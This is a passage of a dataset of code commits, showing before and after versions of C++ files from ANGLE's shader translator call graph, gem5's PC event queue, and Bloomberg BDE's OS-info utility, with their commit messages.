&mFunctions[node->getName()];\n                    }\n                    else\n                    {\n                        mCurrentFunction = &it->second;\n                    }\n\n                    mCurrentFunction->node = node;\n                    mCurrentFunction->name = node->getName();\n\n                }\n                else if (visit == PostVisit)\n                {\n                    mCurrentFunction = nullptr;\n                }\n                break;\n            }\n          case EOpFunctionCall:\n            {\n                \/\/ Function call, add the callees\n                if (visit == PreVisit)\n                {\n                    \/\/ Do not handle calls to builtin functions\n                    if (node->isUserDefined())\n                    {\n                        auto it = mFunctions.find(node->getName());\n                        ASSERT(it != mFunctions.end());\n\n                        \/\/ We might be in a top-level function call to set a global variable\n                        if (mCurrentFunction)\n                        {\n                            mCurrentFunction->callees.insert(&it->second);\n                        }\n                    }\n                }\n                break;\n            }\n          default:\n            break;\n        }\n        return true;\n    }\n\n    \/\/ Recursively assigns indices to a sub DAG\n    InitResult assignIndicesInternal(CreatorFunctionData *function)\n    {\n        ASSERT(function);\n\n        if (!function->node)\n        {\n            *mCreationInfo << \"Undefined function: \" << function->name;\n            return INITDAG_UNDEFINED;\n        }\n\n        if (function->indexAssigned)\n        {\n            return INITDAG_SUCCESS;\n        }\n\n        if (function->visiting)\n        {\n            if (mCreationInfo)\n            {\n                *mCreationInfo << \"Recursive function call in the following call chain: \" << function->name;\n            }\n            return INITDAG_RECURSION;\n        }\n        function->visiting = true;\n\n        for (auto &callee : function->callees)\n        {\n            InitResult result = assignIndicesInternal(callee);\n            if (result == INITDAG_RECURSION)\n            {\n                \/\/ We know that there is a recursive function call chain in the AST,\n                \/\/ print the link of the chain we were processing.\n                if (mCreationInfo)\n                {\n                    *mCreationInfo << \" <- \" << function->name;\n                }\n                return INITDAG_RECURSION;\n            }\n            else if (result == INITDAG_UNDEFINED)\n            {\n                return INITDAG_UNDEFINED;\n            }\n        }\n\n        function->index = mCurrentIndex++;\n        function->indexAssigned = true;\n\n        function->visiting = false;\n        return INITDAG_SUCCESS;\n    }\n\n    TInfoSinkBase *mCreationInfo;\n\n    std::map<TString, CreatorFunctionData> mFunctions;\n    CreatorFunctionData *mCurrentFunction;\n    size_t mCurrentIndex;\n};\n\n\/\/ CallDAG\n\nCallDAG::CallDAG()\n{\n}\n\nCallDAG::~CallDAG()\n{\n}\n\nconst size_t CallDAG::InvalidIndex = std::numeric_limits<size_t>::max();\n\nsize_t CallDAG::findIndex(const TIntermAggregate *function) const\n{\n    TOperator op = function->getOp();\n    ASSERT(op == EOpPrototype || op == EOpFunction || op == EOpFunctionCall);\n    UNUSED_ASSERTION_VARIABLE(op);\n\n    auto it = mFunctionIdToIndex.find(function->getFunctionId());\n\n    if (it == mFunctionIdToIndex.end())\n    {\n        return InvalidIndex;\n    }\n    else\n    {\n        return it->second;\n    }\n}\n\nconst CallDAG::Record &CallDAG::getRecordFromIndex(size_t index) const\n{\n    ASSERT(index != InvalidIndex && index < mRecords.size());\n    return mRecords[index];\n}\n\nconst CallDAG::Record &CallDAG::getRecord(const TIntermAggregate *function) const\n{\n    size_t index = findIndex(function);\n    ASSERT(index != InvalidIndex && index < mRecords.size());\n    return mRecords[index];\n}\n\nsize_t CallDAG::size() const\n{\n    return mRecords.size();\n}\n\nvoid CallDAG::clear()\n{\n    mRecords.clear();\n    mFunctionIdToIndex.clear();\n}\n\nCallDAG::InitResult CallDAG::init(TIntermNode *root, TInfoSinkBase *info)\n{\n    CallDAGCreator creator(info);\n\n    \/\/ Creates the mapping of functions to callees\n    root->traverse(&creator);\n\n    \/\/ Does the topological sort and detects recursions\n    InitResult result = creator.assignIndices();\n    if (result != INITDAG_SUCCESS)\n    {\n        return result;\n    }\n\n    creator.fillDataStructures(&mRecords, &mFunctionIdToIndex);\n    return INITDAG_SUCCESS;\n}\n<commit_msg>Extend the CallDAG info log to report undefined functions<commit_after>\/\/\n\/\/ Copyright (c) 2002-2015 The ANGLE Project Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\n\/\/ CallDAG.h: Implements a call graph DAG of functions to be re-used accross\n\/\/ analyses, allows to efficiently traverse the functions in topological\n\/\/ order.\n\n#include \"compiler\/translator\/CallDAG.h\"\n#include \"compiler\/translator\/InfoSink.h\"\n\n\/\/ The CallDAGCreator does all the processing required to create the CallDAG\n\/\/ structure so that the latter contains only the necessary variables.\nclass CallDAG::CallDAGCreator : public TIntermTraverser\n{\n  public:\n    CallDAGCreator(TInfoSinkBase *info)\n        : TIntermTraverser(true, false, true),\n          mCreationInfo(info),\n          mCurrentFunction(nullptr),\n          mCurrentIndex(0)\n    {\n    }\n\n    InitResult assignIndices()\n    {\n        int skipped = 0;\n        for (auto &it : mFunctions)\n        {\n            \/\/ Skip unimplemented functions\n            if (it.second.node)\n            {\n                InitResult result = assignIndicesInternal(&it.second);\n                if (result != INITDAG_SUCCESS)\n                {\n                    *mCreationInfo << \"\\n\";\n                    return result;\n                }\n            }\n            else\n            {\n                skipped++;\n            }\n        }\n        ASSERT(mFunctions.size() == mCurrentIndex + skipped);\n        return INITDAG_SUCCESS;\n    }\n\n    void fillDataStructures(std::vector<Record> *records, std::map<int, int> *idToIndex)\n    {\n        ASSERT(records->empty());\n        ASSERT(idToIndex->empty());\n\n        records->resize(mCurrentIndex);\n\n        for (auto &it : mFunctions)\n        {\n            CreatorFunctionData &data = it.second;\n            \/\/ Skip unimplemented functions\n            if (!data.node)\n            {\n                continue;\n            }\n            ASSERT(data.index < records->size());\n            Record &record = (*records)[data.index];\n\n            record.name = data.name.data();\n            record.node = data.node;\n\n            record.callees.reserve(data.callees.size());\n            for (auto &callee : data.callees)\n            {\n                record.callees.push_back(static_cast<int>(callee->index));\n            }\n\n            (*idToIndex)[data.node->getFunctionId()] = static_cast<int>(data.index);\n        }\n    }\n\n  private:\n\n    struct CreatorFunctionData\n    {\n        CreatorFunctionData()\n            : node(nullptr),\n              index(0),\n              indexAssigned(false),\n              visiting(false)\n        {\n        }\n\n        std::set<CreatorFunctionData*> callees;\n        TIntermAggregate *node;\n        TString name;\n        size_t index;\n        bool indexAssigned;\n        bool visiting;\n    };\n\n    \/\/ Aggregates the AST node for each function as well as the name of the functions called by it\n    bool visitAggregate(Visit visit, TIntermAggregate *node) override\n    {\n        switch (node->getOp())\n        {\n          case EOpPrototype:\n            if (visit == PreVisit)\n            {\n                \/\/ Function declaration, create an empty record.\n                auto& record = mFunctions[node->getName()];\n                record.name = node->getName();\n            }\n            break;\n          case EOpFunction:\n            {\n                \/\/ Function definition, create the record if need be and remember the node.\n                if (visit == PreVisit)\n                {\n                    auto it = mFunctions.find(node->getName());\n\n                    if (it == mFunctions.end())\n                    {\n                        mCurrentFunction = &mFunctions[node->getName()];\n                    }\n                    else\n                    {\n                        mCurrentFunction = &it->second;\n                    }\n\n                    mCurrentFunction->node = node;\n                    mCurrentFunction->name = node->getName();\n\n                }\n                else if (visit == PostVisit)\n                {\n                    mCurrentFunction = nullptr;\n                }\n                break;\n            }\n          case EOpFunctionCall:\n            {\n                \/\/ Function call, add the callees\n                if (visit == PreVisit)\n                {\n                    \/\/ Do not handle calls to builtin functions\n                    if (node->isUserDefined())\n                    {\n                        auto it = mFunctions.find(node->getName());\n                        ASSERT(it != mFunctions.end());\n\n                        \/\/ We might be in a top-level function call to set a global variable\n                        if (mCurrentFunction)\n                        {\n                            mCurrentFunction->callees.insert(&it->second);\n                        }\n                    }\n                }\n                break;\n            }\n          default:\n            break;\n        }\n        return true;\n    }\n\n    \/\/ Recursively assigns indices to a sub DAG\n    InitResult assignIndicesInternal(CreatorFunctionData *function)\n    {\n        ASSERT(function);\n\n        if (!function->node)\n        {\n            *mCreationInfo << \"Undefined function '\" << function->name\n                           << \")' used in the following call chain:\";\n            return INITDAG_UNDEFINED;\n        }\n\n        if (function->indexAssigned)\n        {\n            return INITDAG_SUCCESS;\n        }\n\n        if (function->visiting)\n        {\n            if (mCreationInfo)\n            {\n                *mCreationInfo << \"Recursive function call in the following call chain:\" << function->name;\n            }\n            return INITDAG_RECURSION;\n        }\n        function->visiting = true;\n\n        for (auto &callee : function->callees)\n        {\n            InitResult result = assignIndicesInternal(callee);\n            if (result != INITDAG_SUCCESS)\n            {\n                \/\/ We know that there is an issue with the call chain in the AST,\n                \/\/ print the link of the chain we were processing.\n                if (mCreationInfo)\n                {\n                    *mCreationInfo << \" <- \" << function->name << \")\";\n                }\n                return result;\n            }\n        }\n\n        function->index = mCurrentIndex++;\n        function->indexAssigned = true;\n\n        function->visiting = false;\n        return INITDAG_SUCCESS;\n    }\n\n    TInfoSinkBase *mCreationInfo;\n\n    std::map<TString, CreatorFunctionData> mFunctions;\n    CreatorFunctionData *mCurrentFunction;\n    size_t mCurrentIndex;\n};\n\n\/\/ CallDAG\n\nCallDAG::CallDAG()\n{\n}\n\nCallDAG::~CallDAG()\n{\n}\n\nconst size_t CallDAG::InvalidIndex = std::numeric_limits<size_t>::max();\n\nsize_t CallDAG::findIndex(const TIntermAggregate *function) const\n{\n    TOperator op = function->getOp();\n    ASSERT(op == EOpPrototype || op == EOpFunction || op == EOpFunctionCall);\n    UNUSED_ASSERTION_VARIABLE(op);\n\n    auto it = mFunctionIdToIndex.find(function->getFunctionId());\n\n    if (it == mFunctionIdToIndex.end())\n    {\n        return InvalidIndex;\n    }\n    else\n    {\n        return it->second;\n    }\n}\n\nconst CallDAG::Record &CallDAG::getRecordFromIndex(size_t index) const\n{\n    ASSERT(index != InvalidIndex && index < mRecords.size());\n    return mRecords[index];\n}\n\nconst CallDAG::Record &CallDAG::getRecord(const TIntermAggregate *function) const\n{\n    size_t index = findIndex(function);\n    ASSERT(index != InvalidIndex && index < mRecords.size());\n    return mRecords[index];\n}\n\nsize_t CallDAG::size() const\n{\n    return mRecords.size();\n}\n\nvoid CallDAG::clear()\n{\n    mRecords.clear();\n    mFunctionIdToIndex.clear();\n}\n\nCallDAG::InitResult CallDAG::init(TIntermNode *root, TInfoSinkBase *info)\n{\n    CallDAGCreator creator(info);\n\n    \/\/ Creates the mapping of functions to callees\n    root->traverse(&creator);\n\n    \/\/ Does the topological sort and detects recursions\n    InitResult result = creator.assignIndices();\n    if (result != INITDAG_SUCCESS)\n    {\n        return result;\n    }\n\n    creator.fillDataStructures(&mRecords, &mFunctionIdToIndex);\n    return INITDAG_SUCCESS;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2002-2005 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Nathan Binkert\n *          Steve Reinhardt\n *\/\n\n#include <algorithm>\n#include <map>\n#include <string>\n#include <utility>\n\n#include \"base\/debug.hh\"\n#include \"base\/trace.hh\"\n#include \"config\/full_system.hh\"\n#include \"cpu\/base.hh\"\n#include \"cpu\/pc_event.hh\"\n#include \"cpu\/thread_context.hh\"\n#include \"debug\/PCEvent.hh\"\n#include \"sim\/core.hh\"\n#include \"sim\/system.hh\"\n\nusing namespace std;\n\nPCEventQueue::PCEventQueue()\n{}\n\nPCEventQueue::~PCEventQueue()\n{}\n\nbool\nPCEventQueue::remove(PCEvent *event)\n{\n    int removed = 0;\n    range_t range = equal_range(event);\n    for (iterator i = range.first; i != range.second; ++i) {\n        if (*i == event) {\n            DPRINTF(PCEvent, \"PC based event removed at %#x: %s\\n\",\n                    event->pc(), event->descr());\n            pc_map.erase(i);\n            ++removed;\n        }\n    }\n\n    return removed > 0;\n}\n\nbool\nPCEventQueue::schedule(PCEvent *event)\n{\n    pc_map.push_back(event);\n    sort(pc_map.begin(), pc_map.end(), MapCompare());\n\n    DPRINTF(PCEvent, \"PC based event scheduled for %#x: %s\\n\",\n            event->pc(), event->descr());\n\n    return true;\n}\n\nbool\nPCEventQueue::doService(ThreadContext *tc)\n{\n    Addr pc = tc->instAddr() & ~0x3;\n    int serviced = 0;\n    range_t range = equal_range(pc);\n    for (iterator i = range.first; i != range.second; ++i) {\n        \/\/ Make sure that the pc wasn't changed as the side effect of\n        \/\/ another event.  This for example, prevents two invocations\n        \/\/ of the SkipFuncEvent.  Maybe we should have separate PC\n        \/\/ event queues for each processor?\n        if (pc != (tc->instAddr() & ~0x3))\n            continue;\n\n        DPRINTF(PCEvent, \"PC based event serviced at %#x: %s\\n\",\n                (*i)->pc(), (*i)->descr());\n\n        (*i)->process(tc);\n        ++serviced;\n    }\n\n    return serviced > 0;\n}\n\nvoid\nPCEventQueue::dump() const\n{\n    const_iterator i = pc_map.begin();\n    const_iterator e = pc_map.end();\n\n    for (; i != e; ++i)\n        cprintf(\"%d: event at %#x: %s\\n\", curTick(), (*i)->pc(),\n                (*i)->descr());\n}\n\nPCEventQueue::range_t\nPCEventQueue::equal_range(Addr pc)\n{\n    return std::equal_range(pc_map.begin(), pc_map.end(), pc, MapCompare());\n}\n\nBreakPCEvent::BreakPCEvent(PCEventQueue *q, const std::string &desc, Addr addr,\n                           bool del)\n    : PCEvent(q, desc, addr), remove(del)\n{\n}\n\nvoid\nBreakPCEvent::process(ThreadContext *tc)\n{\n    StringWrap name(tc->getCpuPtr()->name() + \".break_event\");\n    DPRINTFN(\"break event %s triggered\\n\", descr());\n    Debug::breakpoint();\n    if (remove)\n        delete this;\n}\n\n#if FULL_SYSTEM\nvoid\nsched_break_pc_sys(System *sys, Addr addr)\n{\n    new BreakPCEvent(&sys->pcEventQueue, \"debug break\", addr, true);\n}\n\nvoid\nsched_break_pc(Addr addr)\n{\n     for (vector<System *>::iterator sysi = System::systemList.begin();\n          sysi != System::systemList.end(); ++sysi) {\n         sched_break_pc_sys(*sysi, addr);\n    }\n\n}\n#endif\n<commit_msg>CPU: Remove Alpha-specific PC alignment check.<commit_after>\/*\n * Copyright (c) 2002-2005 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Nathan Binkert\n *          Steve Reinhardt\n *\/\n\n#include <algorithm>\n#include <map>\n#include <string>\n#include <utility>\n\n#include \"base\/debug.hh\"\n#include \"base\/trace.hh\"\n#include \"config\/full_system.hh\"\n#include \"cpu\/base.hh\"\n#include \"cpu\/pc_event.hh\"\n#include \"cpu\/thread_context.hh\"\n#include \"debug\/PCEvent.hh\"\n#include \"sim\/core.hh\"\n#include \"sim\/system.hh\"\n\nusing namespace std;\n\nPCEventQueue::PCEventQueue()\n{}\n\nPCEventQueue::~PCEventQueue()\n{}\n\nbool\nPCEventQueue::remove(PCEvent *event)\n{\n    int removed = 0;\n    range_t range = equal_range(event);\n    for (iterator i = range.first; i != range.second; ++i) {\n        if (*i == event) {\n            DPRINTF(PCEvent, \"PC based event removed at %#x: %s\\n\",\n                    event->pc(), event->descr());\n            pc_map.erase(i);\n            ++removed;\n        }\n    }\n\n    return removed > 0;\n}\n\nbool\nPCEventQueue::schedule(PCEvent *event)\n{\n    pc_map.push_back(event);\n    sort(pc_map.begin(), pc_map.end(), MapCompare());\n\n    DPRINTF(PCEvent, \"PC based event scheduled for %#x: %s\\n\",\n            event->pc(), event->descr());\n\n    return true;\n}\n\nbool\nPCEventQueue::doService(ThreadContext *tc)\n{\n    \/\/ This will fail to break on Alpha PALcode addresses, but that is\n    \/\/ a rare use case.\n    Addr pc = tc->instAddr();\n    int serviced = 0;\n    range_t range = equal_range(pc);\n    for (iterator i = range.first; i != range.second; ++i) {\n        \/\/ Make sure that the pc wasn't changed as the side effect of\n        \/\/ another event.  This for example, prevents two invocations\n        \/\/ of the SkipFuncEvent.  Maybe we should have separate PC\n        \/\/ event queues for each processor?\n        if (pc != tc->instAddr())\n            continue;\n\n        DPRINTF(PCEvent, \"PC based event serviced at %#x: %s\\n\",\n                (*i)->pc(), (*i)->descr());\n\n        (*i)->process(tc);\n        ++serviced;\n    }\n\n    return serviced > 0;\n}\n\nvoid\nPCEventQueue::dump() const\n{\n    const_iterator i = pc_map.begin();\n    const_iterator e = pc_map.end();\n\n    for (; i != e; ++i)\n        cprintf(\"%d: event at %#x: %s\\n\", curTick(), (*i)->pc(),\n                (*i)->descr());\n}\n\nPCEventQueue::range_t\nPCEventQueue::equal_range(Addr pc)\n{\n    return std::equal_range(pc_map.begin(), pc_map.end(), pc, MapCompare());\n}\n\nBreakPCEvent::BreakPCEvent(PCEventQueue *q, const std::string &desc, Addr addr,\n                           bool del)\n    : PCEvent(q, desc, addr), remove(del)\n{\n}\n\nvoid\nBreakPCEvent::process(ThreadContext *tc)\n{\n    StringWrap name(tc->getCpuPtr()->name() + \".break_event\");\n    DPRINTFN(\"break event %s triggered\\n\", descr());\n    Debug::breakpoint();\n    if (remove)\n        delete this;\n}\n\n#if FULL_SYSTEM\nvoid\nsched_break_pc_sys(System *sys, Addr addr)\n{\n    new BreakPCEvent(&sys->pcEventQueue, \"debug break\", addr, true);\n}\n\nvoid\nsched_break_pc(Addr addr)\n{\n     for (vector<System *>::iterator sysi = System::systemList.begin();\n          sysi != System::systemList.end(); ++sysi) {\n         sched_break_pc_sys(*sysi, addr);\n    }\n\n}\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/\/ bdls_osutil.cpp                                                    -*-C++-*-\n\n\/\/ ----------------------------------------------------------------------------\n\/\/                                   NOTICE\n\/\/\n\/\/ This component is not up to date with current BDE coding standards, and\n\/\/ should not be used as an example for new development.\n\/\/ ----------------------------------------------------------------------------\n\n#include <bdls_osutil.h>\n\n#include <bsls_ident.h>\nBSLS_IDENT_RCSID(bdls_osutil_cpp, \"$Id$ $CSID$\")\n\n#include <bdls_processutil.h>\n\n#include <bslmf_assert.h>\n#include <bsls_platform.h>\n\n#include <bsl_cstring.h>\n\n#ifdef BSLS_PLATFORM_OS_WINDOWS\n# undef u_VISTA_OR_LATER\n# if 6 <= BSLS_PLATFORM_OS_VER_MAJOR\n#   define u_VISTA_OR_LATER 1\n# endif\n\n# include <bdlsb_fixedmemoutstreambuf.h>\n# include <windows.h>\n# ifdef u_VISTA_OR_LATER\n#   include <bsl_limits.h>\n#   include \"VersionHelpers.h\"\n# else\n#   include <process.h>\n# endif\n#else\n# include <unistd.h>\n# include <sys\/utsname.h>\n#endif\n\n\nnamespace BloombergLP {\n\n                            \/\/ --------------------\n                            \/\/ struct bdls::OsUtil\n                            \/\/ --------------------\n\n\/\/ CLASS METHODS\n#ifdef BSLS_PLATFORM_OS_WINDOWS\n\nnamespace bdls {\nint OsUtil::getOsInfo(bsl::string *osName,\n                      bsl::string *osVersion,\n                      bsl::string *osPatch)\n{\n    BSLS_ASSERT(osName);\n    BSLS_ASSERT(osVersion);\n    BSLS_ASSERT(osPatch);\n\n    *osName = \"Windows\";\n\n#ifdef u_VISTA_OR_LATER\n    \/\/ On Windows, 'WORD' means a 16-bit unsigned int.\n\n    WORD major = 0;\n    WORD minor = 0;\n    WORD servicePackMajor = 0;\n\n    const WORD maxWord = bsl::numeric_limits<WORD>::max();\n\n    while (IsWindowsVersionOrGreater(major, minor, servicePackMajor)) {\n        if (major >= maxWord) {\n            return -1;                                                \/\/ RETURN\n        }\n        ++major;\n    }\n    --major;\n    while (IsWindowsVersionOrGreater(major, minor, servicePackMajor)) {\n        if (minor >= maxWord) {\n            return -1;                                                \/\/ RETURN\n        }\n        ++minor;\n    }\n    --minor;\n    while (IsWindowsVersionOrGreater(major, minor, servicePackMajor)) {\n        if (servicePackMajor >= maxWord) {\n            return -1;                                                \/\/ RETURN\n        }\n        ++servicePackMajor;\n    }\n    --servicePackMajor;\n\n    \/\/ Os version\n\n    \/\/ We want to do this with a minimum of allocations.  Both an\n    \/\/ 'ostringstream' and 'sprintf' would allocate memory, so we us a\n    \/\/ 'bdlsb::FixedMemOutStreamBuf\"\n\n    char buf[256];\n    bdlsb::FixedMemOutStreamBuf sb(buf, sizeof(buf));\n    bsl::ostream ostr(&sb);\n\n    ostr << major << '.' << minor << bsl::ends;\n    *osVersion = buf;\n\n    \/\/ Service pack number\n\n    sb.pubsetbuf(buf, sizeof(buf));\n    buf[0] = 0;\n\n    if (servicePackMajor) {\n        \/\/ Note that we are incapable of detecting any 'servicePackMinor'\n        \/\/ version other than 0.  But it seems rational that if Microsoft had\n        \/\/ any plans for non-zero 'servicePackMinor' version at or after\n        \/\/ Vista, they would have made 'IsWindowsVersionOrGreater' take 4 args\n        \/\/ instead of 3.\n\n        ostr << \"Service Pack \" << servicePackMajor << \".0\" << bsl::ends;\n    }\n\n    *osPatch = buf;\n\n#else\n\n    OSVERSIONINFOEX osvi;\n\n    bsl::memset(&osvi, 0, sizeof(OSVERSIONINFOEX));\n    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);\n\n    if (!GetVersionEx((OSVERSIONINFO *)&osvi)) {\n        return -1;\n    }\n\n    \/\/ Os version\n\n    \/\/ We want to do this with a minimum of allocations.  Both an\n    \/\/ 'ostringstream' and 'sprintf' would allocate memory, so we us a\n    \/\/ 'bdlsb::FixedMemOutStreamBuf\"\n\n    char buf[256];\n    bdlsb::FixedMemOutStreamBuf sb(buf, sizeof(buf));\n    bsl::ostream ostr(&sb);\n\n    ostr << osvi.dwMajorVersion << '.' << osvi.dwMinorVersion << bsl::ends;\n    *osVersion = buf;\n\n    sb.pubsetbuf(buf, sizeof(buf));\n    buf[0] = 0;\n\n    \/\/ Service pack number\n\n    if (osvi.wServicePackMajor) {\n        ostr << \"Service Pack \" << osvi.wServicePackMajor << '.'\n             << osvi.wServicePackMinor << bsl::ends;\n    }\n    *osPatch = buf;\n\n#endif\n\n    return 0;\n}\n}  \/\/ close package namespace\n\n#elif defined(BSLS_PLATFORM_OS_UNIX)\n\nnamespace bdls {\nint OsUtil::getOsInfo(bsl::string *osName,\n                      bsl::string *osVersion,\n                      bsl::string *osPatch)\n{\n    BSLS_ASSERT(osName);\n    BSLS_ASSERT(osVersion);\n    BSLS_ASSERT(osPatch);\n\n    struct utsname unameInfo;\n    if (-1 == uname(&unameInfo)) {\n        return -1;                                                    \/\/ RETURN\n    }\n    *osName = unameInfo.sysname;\n    *osVersion = unameInfo.release;\n    *osPatch = unameInfo.version;\n    return 0;\n}\n}  \/\/ close package namespace\n\n#else\n\nBSLMF_ASSERT(\"Unsupported operating system\", false);\n\n#endif\n}  \/\/ close enterprise namespace\n\n\/\/ ----------------------------------------------------------------------------\n\/\/ Copyright 2015 Bloomberg Finance L.P.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/ ----------------------------- END-OF-FILE ----------------------------------\n<commit_msg>bdls_osutil.t.cpp: local macro all upper case, not #undef'ed before define<commit_after>\/\/ bdls_osutil.cpp                                                    -*-C++-*-\n\n\/\/ ----------------------------------------------------------------------------\n\/\/                                   NOTICE\n\/\/\n\/\/ This component is not up to date with current BDE coding standards, and\n\/\/ should not be used as an example for new development.\n\/\/ ----------------------------------------------------------------------------\n\n#include <bdls_osutil.h>\n\n#include <bsls_ident.h>\nBSLS_IDENT_RCSID(bdls_osutil_cpp, \"$Id$ $CSID$\")\n\n#include <bdls_processutil.h>\n\n#include <bslmf_assert.h>\n#include <bsls_platform.h>\n\n#include <bsl_cstring.h>\n\n#ifdef BSLS_PLATFORM_OS_WINDOWS\n# include <bdlsb_fixedmemoutstreambuf.h>\n# include <windows.h>\n\n# define   U_VISTA_OR_LATER 0\n# if 6 <= BSLS_PLATFORM_OS_VER_MAJOR\n#   undef  U_VISTA_OR_LATER\n#   define U_VISTA_OR_LATER 1\n# endif\n# if 0 != U_VISTA_OR_LATER\n#   include <bsl_limits.h>\n#   include \"VersionHelpers.h\"\n# else\n#   include <process.h>\n# endif\n#else\n# include <unistd.h>\n# include <sys\/utsname.h>\n#endif\n\nnamespace BloombergLP {\n\n                            \/\/ --------------------\n                            \/\/ struct bdls::OsUtil\n                            \/\/ --------------------\n\n\/\/ CLASS METHODS\n#ifdef BSLS_PLATFORM_OS_WINDOWS\n\nnamespace bdls {\nint OsUtil::getOsInfo(bsl::string *osName,\n                      bsl::string *osVersion,\n                      bsl::string *osPatch)\n{\n    BSLS_ASSERT(osName);\n    BSLS_ASSERT(osVersion);\n    BSLS_ASSERT(osPatch);\n\n    *osName = \"Windows\";\n\n#if 0 != U_VISTA_OR_LATER\n    \/\/ On Windows, 'WORD' means a 16-bit unsigned int.\n\n    WORD major = 0;\n    WORD minor = 0;\n    WORD servicePackMajor = 0;\n\n    const WORD maxWord = bsl::numeric_limits<WORD>::max();\n\n    while (IsWindowsVersionOrGreater(major, minor, servicePackMajor)) {\n        if (major >= maxWord) {\n            return -1;                                                \/\/ RETURN\n        }\n        ++major;\n    }\n    --major;\n    while (IsWindowsVersionOrGreater(major, minor, servicePackMajor)) {\n        if (minor >= maxWord) {\n            return -1;                                                \/\/ RETURN\n        }\n        ++minor;\n    }\n    --minor;\n    while (IsWindowsVersionOrGreater(major, minor, servicePackMajor)) {\n        if (servicePackMajor >= maxWord) {\n            return -1;                                                \/\/ RETURN\n        }\n        ++servicePackMajor;\n    }\n    --servicePackMajor;\n\n    \/\/ Os version\n\n    \/\/ We want to do this with a minimum of allocations.  Both an\n    \/\/ 'ostringstream' and 'sprintf' would allocate memory, so we us a\n    \/\/ 'bdlsb::FixedMemOutStreamBuf\"\n\n    char buf[256];\n    bdlsb::FixedMemOutStreamBuf sb(buf, sizeof(buf));\n    bsl::ostream ostr(&sb);\n\n    ostr << major << '.' << minor << bsl::ends;\n    *osVersion = buf;\n\n    \/\/ Service pack number\n\n    sb.pubsetbuf(buf, sizeof(buf));\n    buf[0] = 0;\n\n    if (servicePackMajor) {\n        \/\/ Note that we are incapable of detecting any 'servicePackMinor'\n        \/\/ version other than 0.  But it seems rational that if Microsoft had\n        \/\/ any plans for non-zero 'servicePackMinor' version at or after\n        \/\/ Vista, they would have made 'IsWindowsVersionOrGreater' take 4 args\n        \/\/ instead of 3.\n\n        ostr << \"Service Pack \" << servicePackMajor << \".0\" << bsl::ends;\n    }\n\n    *osPatch = buf;\n\n#else\n\n    OSVERSIONINFOEX osvi;\n\n    bsl::memset(&osvi, 0, sizeof(OSVERSIONINFOEX));\n    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);\n\n    if (!GetVersionEx((OSVERSIONINFO *)&osvi)) {\n        return -1;\n    }\n\n    \/\/ Os version\n\n    \/\/ We want to do this with a minimum of allocations.  Both an\n    \/\/ 'ostringstream' and 'sprintf' would allocate memory, so we us a\n    \/\/ 'bdlsb::FixedMemOutStreamBuf\"\n\n    char buf[256];\n    